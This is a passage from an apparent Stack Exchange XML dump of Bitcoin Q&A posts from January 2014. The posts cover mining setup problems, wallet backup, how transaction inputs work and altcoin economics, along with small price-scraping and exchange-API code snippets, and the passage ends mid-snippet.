  <row Id="20406" PostTypeId="1" AcceptedAnswerId="20410" CreationDate="2014-01-12T06:16:18.097" Score="-4" ViewCount="1518" Body="&lt;p&gt;I've tried JSON-RPC, but &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20397/too-slow-json-rpc&quot;&gt;it's very slow&lt;/a&gt;. What other things can you recommend?&lt;/p&gt;&#xA;" OwnerUserId="11886" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-12T07:22:16.353" Title="How to make a block explorer (like blockchain.info)?" Tags="|blockchain|blockchain.info|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-27T18:15:25.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="20407" PostTypeId="1" AcceptedAnswerId="20460" CreationDate="2014-01-12T06:45:37.610" Score="0" ViewCount="3368" Body="&lt;p&gt;I'm trying set up a local pool, using the php-mpos and the zetacoin-qt executable file, but for some reason, when I attempt to connect using cgminer, I get this error: Pool 0 slow/down or URL or credentials invalid, this happens even though I've created a worker in php-mpos, I am running all of this on a windows machine. My batch file running the program is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer-nogpu.exe -o &quot;stratum+tcp://localhost:9332&quot; -O admin.user:password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Zetacoin config is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=username&#xA;rpcpassword=password&#xA;rpcport=9332&#xA;daemon=1&#xA;server=1&#xA;gen=1&#xA;&#xA;block_nTime=1317972665&#xA;block_nNonce=2084524493&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11872" LastEditorUserId="11872" LastEditDate="2014-01-13T17:01:07.717" LastActivityDate="2014-01-27T16:17:50.543" Title="Cannot connect to php-mpos with CgMiner: Pool 0 slow/down or URL or credentials invalid" Tags="|mining-pools|cgminer|server|stratum|altcoin|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20408" PostTypeId="1" AcceptedAnswerId="20409" CreationDate="2014-01-12T06:57:15.543" Score="1" ViewCount="560" Body="&lt;p&gt;When I tried accessing &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bitaddress.org&lt;/a&gt; with Firefox, I was redirected to &lt;code&gt;https://www.bitaddress.org/bitaddress.org-v2.7.2-SHA1-364542f1ccc5777c79aebb1692a6265cf3e42e7e.html&lt;/code&gt; and got a security certificate warning: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8Adw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same redirection happened with Chrome, without any security warnings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a real security problem with bitaddress.org? &lt;/p&gt;&#xA;" OwnerUserId="415" LastActivityDate="2014-01-12T07:13:36.903" Title="Is bitaddress.org compromised?" Tags="|security|offline|bitaddress.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20409" PostTypeId="2" ParentId="20408" CreationDate="2014-01-12T07:07:29.060" Score="3" Body="&lt;p&gt;The certificate for www.bitaddress.org is issued by PositiveSSL. Chrome trusts them (PositiveSSL), firefox does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are an awful lot of issuers, and different browsers are bound to have slightly different lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trust them or not is up to you. If you trust Chrome's security, then you can trust that certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &quot;add exception&quot;, then BEFORE confirm security exception, you can &quot;View...&quot;; you can check the fingerprint (SHA1 &amp;amp; MD5), and if they match, then the security is the same between Chrome and Firefox (not necessarily good, just the same between the two browsers). If they are different, then someone is doing something SERIOUSLY FLAKEY!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you shouldn't trust a website that throws up a warning, just because some guy on the internet told you to :)&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-01-12T07:13:36.903" LastActivityDate="2014-01-12T07:13:36.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20410" PostTypeId="2" ParentId="20406" CreationDate="2014-01-12T07:22:16.353" Score="1" Body="&lt;p&gt;I think for something like blockchain.info, you'd need to write software to parse the blocks directly. You'd probably want a database of all the things you want to be able to search for, for quick lookups.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-01-12T07:22:16.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20411" PostTypeId="1" CreationDate="2014-01-12T08:18:05.360" Score="0" ViewCount="1121" Body="&lt;p&gt;I'm running bfgminer with block erupters, and all is working fine 90% of the time. However, if my internet connection drops briefly, then I get nothing but Rejected shares from that point onwards. This never rectifies itself unless I restart bfgminer. This probably happens once every few days which is a little frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why is happens?  And what I can do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RwFtk.png&quot; alt=&quot;Rejected Shares&quot;&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12114" LastActivityDate="2015-07-19T00:03:05.857" Title="bfgminer 'Rejected' problem" Tags="|bfgminer|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20412" PostTypeId="1" CreationDate="2014-01-12T09:14:23.467" Score="-1" ViewCount="941" Body="&lt;p&gt;Been mining with ghash.io for a few hours at about 80Gh/s.  However, I apparently have no shares and therefore am not receiving any payout.  Is this an issue with my setup?  How can I resolve this?&lt;/p&gt;&#xA;" OwnerUserId="12115" LastEditorUserId="5406" LastEditDate="2016-04-25T20:58:47.543" LastActivityDate="2016-04-25T20:58:47.543" Title="No shares on ghash.io and no payout — how to resolve this?" Tags="|mining-pools|mining-profitability|ghash.io|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20414" PostTypeId="2" ParentId="20412" CreationDate="2014-01-12T09:29:13.893" Score="0" Body="&lt;p&gt;Most pools update users' balances in several hours, so I advise you to find an alternative bitcoin pool -- there are lots of them, and also write to ghash.io support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. maybe you were not mining? You should have received &lt;em&gt;yay!!!&lt;/em&gt; messages in your miner console.&lt;/p&gt;&#xA;" OwnerUserId="11886" LastActivityDate="2014-01-12T09:29:13.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20415" PostTypeId="2" ParentId="20411" CreationDate="2014-01-12T09:32:09.060" Score="0" Body="&lt;p&gt;Try a different miner, for example cgminer or minerd.&lt;/p&gt;&#xA;" OwnerUserId="11886" LastActivityDate="2014-01-12T09:32:09.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20416" PostTypeId="2" ParentId="20404" CreationDate="2014-01-12T09:47:42.350" Score="3" Body="&lt;p&gt;Any currency that innovates beyond bitcoin will take price out of bitcoin, people will see the other currency as a 'better alternative' if it doesn't have the many problems that still plague bitcoin and nearly every crypto-currency.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-12T09:47:42.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20417" PostTypeId="2" ParentId="20400" CreationDate="2014-01-12T09:49:33.653" Score="1" Body="&lt;p&gt;Index the blockchain in a database and keep the database that has the blockchain updated as blocks come in, you would be essentially running a modified node that's really good at keeping data.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-12T09:49:33.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20419" PostTypeId="2" ParentId="20404" CreationDate="2014-01-12T10:53:41.950" Score="1" Body="&lt;p&gt;I think they may if they start off with an algorithm that's lighter than Bitcoin's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one should remember that the value of money is based on the number of people that will accept it. Hence, new cryptocurrency will first have to reach a critical mass similar to that of Bitcoin's before challenging its dominance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a related note, you may question whether Bitcoin itself will ever outperform national legal tenders, for which users are mandated BY LAW to accept the tender in payment for services or goods provided.&lt;/p&gt;&#xA;" OwnerUserId="10490" LastActivityDate="2014-01-12T10:53:41.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20420" PostTypeId="1" AcceptedAnswerId="20421" CreationDate="2014-01-12T11:13:00.290" Score="0" ViewCount="1083" Body="&lt;p&gt;i'm solo mining but it just doesnt feel right that i don't get any accepts while solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this right? (see picture below; the top pool with the blacked out adress)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZUYh.png&quot; alt=&quot;minepeon screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bfgminer options: -S all&lt;br&gt; -c /opt/minepeon/etc/miner.conf&lt;br&gt; --no-longpoll&lt;br&gt; --coinbase-addr 1NCWZT4hbfPw5LMpPsPauXYdVB9LYKrZM7&lt;br&gt; --icarus-options 115200:1:1&lt;br&gt; --icarus-timing 3.0=100&lt;/p&gt;&#xA;" OwnerUserId="10819" LastEditorUserId="10819" LastEditDate="2014-01-12T11:44:44.020" LastActivityDate="2014-03-04T03:41:05.507" Title="can i solo mine with minepeon?" Tags="|solo-mining|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20421" PostTypeId="2" ParentId="20420" CreationDate="2014-01-12T12:35:11.070" Score="0" Body="&lt;p&gt;While solo-mining the miner falls back to attempting to create real-difficulty shares, a.k.a. blocks. Hence you won't see a share until you actually find a block. The only reason that pools use lower difficulty shares is in order to determine which miners are actively attempting to mine a block. Since you are the only miner there is no need to keep tabs on the miner, it's already clear who's going to get the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr: this is perfectly fine, as long as the miner is showing a hashrate you'll find a block eventually, although with your current hashrate it'll take &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator/json?hashrate=1000000000&quot; rel=&quot;nofollow&quot;&gt;193 years in expectation&lt;/a&gt; for you to find a block.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-12T12:35:11.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20422" PostTypeId="1" AcceptedAnswerId="20424" CreationDate="2014-01-12T12:45:55.530" Score="0" ViewCount="122" Body="&lt;p&gt;I am using Multibit. How to overcome if my computer burns off? &lt;/p&gt;&#xA;" OwnerUserId="12118" LastEditorUserId="5406" LastEditDate="2014-02-15T12:37:25.397" LastActivityDate="2014-02-15T12:37:25.397" Title="What do I need to do to protect my wallet on my computer?" Tags="|multibit|backup|" AnswerCount="3" CommentCount="0" ClosedDate="2014-02-09T21:11:01.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="20424" PostTypeId="2" ParentId="20422" CreationDate="2014-01-12T13:07:40.077" Score="0" Body="&lt;p&gt;First store your wallet on a disk with a key.&#xA;Second copy your wallet.dat file.&#xA;All the information necessary to recover access to your bitcoins is stored in the wallet.dat file.&#xA;Or if you prefer you can use an online wallet to save your bitcoins. That is independent from you computer&lt;/p&gt;&#xA;" OwnerUserId="12121" LastActivityDate="2014-01-12T13:07:40.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20429" PostTypeId="2" ParentId="20412" CreationDate="2014-01-12T13:24:10.453" Score="0" Body="&lt;p&gt;Had the same issue but at the end it showed up that i needed to wait 3 hours for my shares to show up. Probably your shares will show up in couple hours too.&lt;/p&gt;&#xA;" OwnerUserId="12121" LastActivityDate="2014-01-12T13:24:10.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20430" PostTypeId="2" ParentId="20422" CreationDate="2014-01-12T13:25:58.480" Score="1" Body="&lt;p&gt;There is a lot of info about securing your wallet on bitcoin.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/en/secure-your-wallet&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/secure-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10819" LastActivityDate="2014-01-12T13:25:58.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20431" PostTypeId="2" ParentId="20394" CreationDate="2014-01-12T13:27:17.800" Score="0" Body="&lt;p&gt;Synchronization with the bitcoin networks need the full capability of the processor to complete the sync of your wallet with the btc network as soon as possible. That is why it is around 95%&lt;/p&gt;&#xA;" OwnerUserId="12121" LastActivityDate="2014-01-12T13:27:17.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20434" PostTypeId="2" ParentId="20404" CreationDate="2014-01-12T13:34:15.233" Score="5" Body="&lt;p&gt;Bitcoin is a &quot;proof-of-work&quot; based cryptocurrency.  Proof-of-work based cryptocurrencies are protected from a malicious 51% attack because of that coin's mining network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is protected by 12,500 Th/s of mining capacity (using SHA hashes).  For an attacker to come in and attempt to commit &quot;double spend&quot; fraud (as the result of having 51% of the mining capacity), that attacker would need to spend perhaps a hundred million dollars to acquire the necessary mining hardware.  There is no way, today, that an attacker will be able to use this tactic to earn a profit because there's simply no way to withdraw even tens of millions of dollars worth of funds from exchanges (following the attack) -- due to exchanges employing KYC/AML policies such that an attempt would fail either due to withdrawal limits, access to cold-storage, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alt coins don't have this same threshold.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in addition to Bitcoin having first-mover advantage and the strongest &quot;brand&quot; (thus that's why Overstock accepts Bitcoin and not Litecoin or anything else), it has the least risk of catastrophic loss due to a malicious 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between Dogecoin and a Bitcoin is like the difference between investing in a longshot penny stock issue of a nearly bankrupt company versus buying a blue chip NYSE which continues to deliver quarter-after-quarter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is certainly a substitution effect.  Many of those speculating on Litecoin would otherwise have been holding bitcoins.  But there's not an easy way to know what the value of a bitcoin would be if the $500+ million valuation of all Litecoins in circulation were to grow by several billion dollars.  Since we haven't reached &quot;saturation&quot;, perhaps many of those speculating on Litecoin might not have held Bitcoin regardless -- and thus if that were the case the existance of Litecoin didn't affect Bitcoin's exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the situation where an altcoin happened to be the &quot;gateway drug&quot; that caused a person to become interested in crypto currencies but then that person later embraced Bitcoin. In that instance, the greater the traction of that type of person to an alt currency eventually results in greater traction of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also other altcoins that are not proof-of-work based.   For instance, PPCoin is a &quot;proof-of-stake&quot; crypto currency.  These are not vulnerable to a 51% mining attack (though they have other vulnerabilities).  So it is possible that those PoS coins could be seen as having an equal (or lesser) risk to that of Bitcoin and thus that coin could be seen as a substitute for Bitcoin by some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To conclude, simply alt coins are not equivalent to bitcoin and thus a dollar spent on acquiring an altcoin doesn't mean there is one dollar less spent on acquiring or holding a bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2014-02-17T11:46:34.497" LastActivityDate="2014-02-17T11:46:34.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20437" PostTypeId="1" AcceptedAnswerId="20439" CreationDate="2014-01-12T14:02:23.707" Score="0" ViewCount="102" Body="&lt;p&gt;I'm confused about the inclusion of the hash of the previous transaction in a transaction. Is it mandatory? Should it be the hash of the last &lt;em&gt;outbound&lt;/em&gt; transaction? What if an unexpected transaction messes up the linked list? I have written specific scenarios below for which I am unsure about the behaviour.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have an account &lt;code&gt;A&lt;/code&gt; for which its only transaction &lt;code&gt;T1&lt;/code&gt; was receiving 1 BTC from some other account. If I want to spend my 1 BTC in a transaction &lt;code&gt;T2&lt;/code&gt;, do I need to include the hash of the transaction &lt;code&gt;T1&lt;/code&gt; in &lt;code&gt;T2&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have an account &lt;code&gt;B&lt;/code&gt; which so far only received 1 BTC from a transaction &lt;code&gt;T1&lt;/code&gt; and I want to spend the 1 BTC in a transaction &lt;code&gt;T2&lt;/code&gt; referencing &lt;code&gt;T1&lt;/code&gt;. But just before broadcasting &lt;code&gt;T2&lt;/code&gt;, a transaction &lt;code&gt;T3&lt;/code&gt; also referencing &lt;code&gt;T1&lt;/code&gt; credits my account with 1 BTC. Will &lt;code&gt;T2&lt;/code&gt; be accepted despite &lt;code&gt;T3&lt;/code&gt; entering the blockchain before &lt;code&gt;T2&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have an account &lt;code&gt;C&lt;/code&gt; to which someone will send 1 BTC tomorrow in a transaction &lt;code&gt;T1&lt;/code&gt;. Is it possible to &quot;pre-spend&quot; the 1 BTC in a transaction &lt;code&gt;T2&lt;/code&gt; without knowing the hash of &lt;code&gt;T1&lt;/code&gt;? By pre-spend I mean that as soon as my account gets credited with the 1 BTC from &lt;code&gt;T1&lt;/code&gt;, transaction &lt;code&gt;T2&lt;/code&gt; can immediately also enter the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="120" LastEditDate="2014-01-12T14:11:57.463" LastActivityDate="2014-01-12T14:19:07.880" Title="How do previous transactions work?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20438" PostTypeId="2" ParentId="20437" CreationDate="2014-01-12T14:18:46.927" Score="1" Body="&lt;p&gt;In Bitcoin transactions you always have to specify where the coins came from. This even goes as far as not specifying how many coins an input feeds into the transaction, since the amount is specified in the previous output.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This is the classical case in which you spend coins that you previously received. The hash of &lt;code&gt;T1&lt;/code&gt; has to be specified in &lt;code&gt;T2&lt;/code&gt; as well as the index of the output being claimed.&lt;/li&gt;&#xA;&lt;li&gt;Since &lt;code&gt;T2&lt;/code&gt; only spends the funds available from &lt;code&gt;T1&lt;/code&gt;, regardless of how many other outputs are at the disposal of the address that is signing the transaction it will be valid, even if since its creation other outputs became available to the address. Transactions are self-contained to a certain degree.&lt;/li&gt;&#xA;&lt;li&gt;Without knowing the output you want to claim, i.e., the tuple of previous transaction and index, you will not be able to create a valid transaction. Should the sending party however communicate the hash and index to you before broadcasting the transaction you'd indeed be able to create such &lt;code&gt;T2&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-12T14:18:46.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20439" PostTypeId="2" ParentId="20437" CreationDate="2014-01-12T14:19:07.880" Score="2" Body="&lt;p&gt;Short answers: yes, yes, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The longer answer is that you should stop thinking in terms of accounts/addresses - they are irrelevant as they don't really exist at the protocol level (they're just a client-side abstraction in the wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin functions in terms of &lt;strong&gt;coins&lt;/strong&gt;, very much like your physical wallet containing coins. Coins are produced and consumed by transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every coin has a value (between 0.00000000 and 21000000.00000000 BTC), and an address of its owner (that's a simplification, but it suffices for now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every transaction consumes one or more coins. This is done by referencing them explicitly (by stating the hash of the transaction that created it), and providing a signature (for each) that proves you are the owner. They are consumed entirely: they're either spent or unspent, there is no &quot;withdrawing&quot; or &quot;crediting&quot; of/to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every transaction also produces one or more new coins, whose sum in value cannot be more than the value of the coins consumed by the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As transactions deal with complete coins all the time, this means we sometimes have leftovers that need to be returned. This is what change addresses are for. When you have a coin of value 3.1 BTC, and you want to pay me 1 BTC, you'll create a transaction with one input (consuming the 3.1 BTC coin), and two outputs (one 1 BTC coin to me, one 2.1 BTC coin to a possibly different address of yourself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the concept of &quot;balance of an address&quot; is well-defined (the sum of the value of all unspent coins assigned to that address), this concept does not exist at the protocol level. You always work with full coins, and arbitrary amounts that get added/subtracted from balances (though the value of those coins is arbitrary).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-12T14:19:07.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20440" PostTypeId="1" AcceptedAnswerId="20441" CreationDate="2014-01-12T14:30:45.707" Score="-1" ViewCount="1521" Body="&lt;p&gt;I am new to bitcoin. Before I decide to buy the hardware/software I want to know about kind of problems solved. And more importantly do I need to be skilled in any specific area (like mathematics or know of any software coding languages etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my basic question is once I purchase the hardware and software and join a bitcoin pool, will I be assigned a specific problem to solve a problem by myself? OR is it just that my hardware/CPU is used to solve the mining problem(and I need not do any coding etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help or references.&lt;/p&gt;&#xA;" OwnerUserId="12124" LastEditorUserId="5406" LastEditDate="2016-04-25T20:58:03.540" LastActivityDate="2019-09-27T01:26:15.907" Title="What kind of problems are solved when mining?" Tags="|mining-theory|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20441" PostTypeId="2" ParentId="20440" CreationDate="2014-01-12T14:40:27.523" Score="1" Body="&lt;p&gt;I would suggest you do some reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/en/getting-started&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org - Getting started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/en/how-it-works&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org - How it works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getting_started&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.it - Gettin started&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-12T14:40:27.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20442" PostTypeId="2" ParentId="9782" CreationDate="2014-01-12T15:40:11.867" Score="1" Body="&lt;p&gt;You could just parse the website. For example to get the current euro and us dollar prices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -s https://www.bitcoin.de/de | sed -n '/EUR/s%.*[^0-9]\([0-9]\+\)\(,\)\([0-9]\+\).*%\1.\3%p'&#xA;&#xA;curl -s https://www.bitcoin.de/de | sed -n '/USD/s%.*[^0-9]\([0-9]\+\)\(,\)\([0-9]\+\).*%\1.\3%p'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="11997" LastEditDate="2014-03-05T16:43:04.703" LastActivityDate="2014-03-05T16:43:04.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20443" PostTypeId="1" CreationDate="2014-01-12T15:57:59.757" Score="3" ViewCount="1977" Body="&lt;p&gt;I'm from Bangladesh. I would like to buy bitcoins. So I went to Buybitcoin.com  and filled an order. Later I googled that site and read a lot about if being a scam site. So I'm a bit scared now. do not want to be scammed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried ecurrencyzone.com but they do not take bank deposits from Bangladesh. this is terrible. Anyway can any of you fellow Indians guide me to proper genuine links where I can buy Bitcoins. My options are Western Union, Moneygram and best option is Bank deposit.&lt;/p&gt;&#xA;" OwnerUserId="11279" LastEditorUserId="132" LastEditDate="2014-01-28T10:49:01.833" LastActivityDate="2014-02-27T14:40:40.227" Title="Want to buy bitcoin from Bangladesh" Tags="|exchanges|buy-bitcoins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20445" PostTypeId="2" ParentId="5650" CreationDate="2014-01-12T16:10:31.107" Score="0" Body="&lt;p&gt;Here is a starting point I found for Btc-e using Pastebin, source here &lt;a href=&quot;http://pastebin.com/Xu64wH1e&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Xu64wH1e&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BTC-e trade module takes options, pair the pair being traded eg. ltc_usd, ltc_btc,&#xA;# btc_usd. type the type of transaction buy or sell, rate the price you are buying or selling&#xA;# at with leading zero if decimal (0.025 not .025), and amount the amount to buy or sell.&#xA;#  Usage ./trade.py ltc_btc sell 0.0075 568&#xA;# Based on the already existing sample code placed on this site with my additions to make&#xA;# a working example.&#xA;&#xA;import sys&#xA;import httplib&#xA;import urllib&#xA;import json&#xA;import hashlib&#xA;import hmac&#xA;&#xA;# Replace these with your own API key data when generating the key be sure to check the trade&#xA;# box.&#xA;BTC_api_key = &quot;your-api-key-here&quot;&#xA;BTC_api_secret = &quot;your-api-secret-here&quot;&#xA;&#xA;# Reading file to get nonce last used then increment and store for next use.&#xA;# You must create the file nonce.txt if first time using the trade api put the number 1 in it.&#xA;# It must be in the current directory as you are running the .py file in or change to correct&#xA;# path in the open(....).&#xA;&#xA;with open('nonce.txt') as f:&#xA;n = int(f.read()) + 1&#xA;f.close()&#xA;with open('nonce.txt', 'w') as f:&#xA;f.write(str(n))&#xA;f.close()&#xA;nonce = n&#xA;&#xA;# method name, options and nonce go into the POST parameters&#xA;params = {&quot;method&quot;:&quot;Trade&quot;,&#xA;      &quot;pair&quot; : sys.argv[1] ,&#xA;      &quot;type&quot; : sys.argv[2] ,&#xA;      &quot;rate&quot; : sys.argv[3] ,&#xA;      &quot;amount&quot; : sys.argv[4] ,&#xA;      &quot;nonce&quot;: nonce}&#xA;params = urllib.urlencode(params)&#xA;&#xA;# Hash the params string to produce the Sign header value&#xA;H = hmac.new(BTC_api_secret, digestmod=hashlib.sha512)&#xA;H.update(params)&#xA;sign = H.hexdigest()&#xA;&#xA;headers = {&quot;Content-type&quot;: &quot;application/x-www-form-urlencoded&quot;,&#xA;               &quot;Key&quot;:BTC_api_key,&#xA;               &quot;Sign&quot;:sign}&#xA;conn = httplib.HTTPSConnection(&quot;btc-e.com&quot;)&#xA;conn.request(&quot;POST&quot;, &quot;/tapi&quot;, params, headers)&#xA;response = conn.getresponse()&#xA;&#xA;print response.status, response.reason&#xA;print json.load(response)&#xA;&#xA;conn.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-01-12T16:10:31.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20449" PostTypeId="2" ParentId="9756" CreationDate="2014-01-12T16:54:31.967" Score="1" Body="&lt;p&gt;First, don't even consider mining on nVidia GPUs. Secondly, if you're using nVidia GPU, why do you use AMD APP? You should be using nVidia CUDA instead. Next thing, Reaper is NOT mining on your GPU on the screen given, but on CPU instead - that's clearly stated in the screenshot you provided (using all devices - and only CPU is listed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Tom: you don't have to supply any command line options to mine with Reaper, all config can be easily done via .conf files.&lt;/p&gt;&#xA;" OwnerDisplayName="user12130" LastActivityDate="2014-01-12T16:54:31.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20450" PostTypeId="1" AcceptedAnswerId="21232" CreationDate="2014-01-12T17:14:41.820" Score="1" ViewCount="4787" Body="&lt;p&gt;I met some problems, when I was trying to write function able to create Bitcoin public key from private key. I was using the tutorial: &lt;a href=&quot;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&quot; rel=&quot;nofollow&quot;&gt;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&lt;/a&gt; ---&gt; &quot;Public key&quot; part is most important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public String generatePublicKey(String privateKey)&#xA;{&#xA;    BigInteger privKey = new BigInteger(privateKey,16);&#xA;    X9ECParameters ecp = SECNamedCurves.getByName(&quot;secp256k1&quot;);&#xA;    ECPoint curvePt = ecp.getG().multiply(privKey);&#xA;    BigInteger x = curvePt.getXCoord().toBigInteger();&#xA;    BigInteger y = curvePt.getYCoord().toBigInteger();&#xA;    byte[] xBytes = this.removeSignByte(x.toByteArray());&#xA;    byte[] yBytes = this.removeSignByte(y.toByteArray());&#xA;    byte[] pubKeyBytes = new byte[65];&#xA;    pubKeyBytes[0] = new Byte(&quot;04&quot;);&#xA;    System.arraycopy(xBytes,0, pubKeyBytes, 1, xBytes.length);&#xA;    System.arraycopy(yBytes, 0, pubKeyBytes, 33, yBytes.length);&#xA;    return 